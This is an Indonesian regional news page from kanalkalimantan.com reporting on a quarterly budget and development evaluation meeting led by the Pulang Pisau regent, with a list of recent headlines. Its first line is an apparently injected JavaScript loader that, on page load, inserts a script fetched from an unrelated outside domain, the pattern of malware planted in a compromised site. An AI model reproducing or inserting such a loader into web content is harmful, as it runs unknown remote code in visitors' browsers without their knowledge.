(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Pulang Pisau

Rakordalev Triwulan II Penyerapan Anggaran dan Kinerja Pembangunan, Ini Kata Bupati Pulang Pisau


KANALKALIMANTAN.COM, PULANG PISAU – Bupati Pulang Pisau Kalimantan Tengah H Ahmad Rifa’i memimpin langsung Rapat Koordinasi Pengendalian dan Evaluasi (Rakordalev) Triwulan II tahun anggaran 2025 di aula Bapperida Kabupaten Pulang Pisau, Selasa (15/7/2025).

Bupati Ahmad Rifa’i menyampaikan bahwa Rakordalev ini merupakan forum strategis untuk mengevaluasi hasil pelaksanaan program dan kegiatan pembangunan yang telah berjalan selama triwulan kedua. Tujuan utama forum ini adalah mengidentifikasi hambatan dalam pelaksanaan kegiatan serta penyerapan anggaran agar dapat dirumuskan solusi bersama demi perbaikan pada triwulan berikutnya.

Menurut Bupat Pulang Pisau, hingga 30 Juni 2025 realisasi keuangan Kabupaten Pulang Pisau tercatat mencapai 32,21 persen, sementara realisasi fisik sebesar 35,21 persen. Dia mengakui bahwa capaian ini masih belum maksimal sebagaimana harapan, karena salah satunya terhambat oleh terbitnya Instruksi Presiden Nomor 1 Tahun 2025 tentang efisiensi belanja dalam pelaksanaan APBN dan APBD yang menyebabkan keterlambatan pelaksanaan sejumlah kegiatan.

“Perlu strategi dan persiapan yang matang untuk mengoptimalkan penyerapan anggaran pada APBD perubahan 2025, agar target realisasi bisa tercapai secara maksimal pada akhir tahun,” jelas Ahmad Rifa’i.

Baca juga: Farm Field Day Bersama Wali Kota Lisa Halaby, Poktan Kurnia Makmur Minta Dukungan Pengairan

Selain evaluasi penyerapan anggaran, Bupati Ahmad Rifa’i menekankan pentingnya pencapaian kinerja pembangunan berdasarkan indikator yang telah ditetapkan. Evaluasi dilakukan dengan membandingkan capaian aktual terhadap target, serta merumuskan langkah tindak lanjut untuk meningkatkan kualitas pembangunan.

Pada kesempatan tersebut, Bupati bersama Wakil Bupati H Ahmad Jayadikarta juga menegaskan pentingnya mendukung produk dalam negeri, UMKM, dan koperasi lokal. Hal ini sesuai dengan amanat Undang-Undang Cipta Kerja dan Peraturan Pemerintah Nomor 7 Tahun 2021 yang mewajibkan minimal 40 persen anggaran pengadaan dialokasikan untuk produk dan pelaku usaha lokal.

Melalui Rakordalev ini, Pemerintah Kabupaten Pulang Pisau berharap sinergi antar perangkat daerah semakin kuat dalam mendukung pembangunan yang efektif, efisien, dan berpihak kepada masyarakat lokal. (Kanalkalimantan.com/bahrawi)

Reporter: bahrawi
Editor: kk


Risa

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

11 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

16 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

17 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.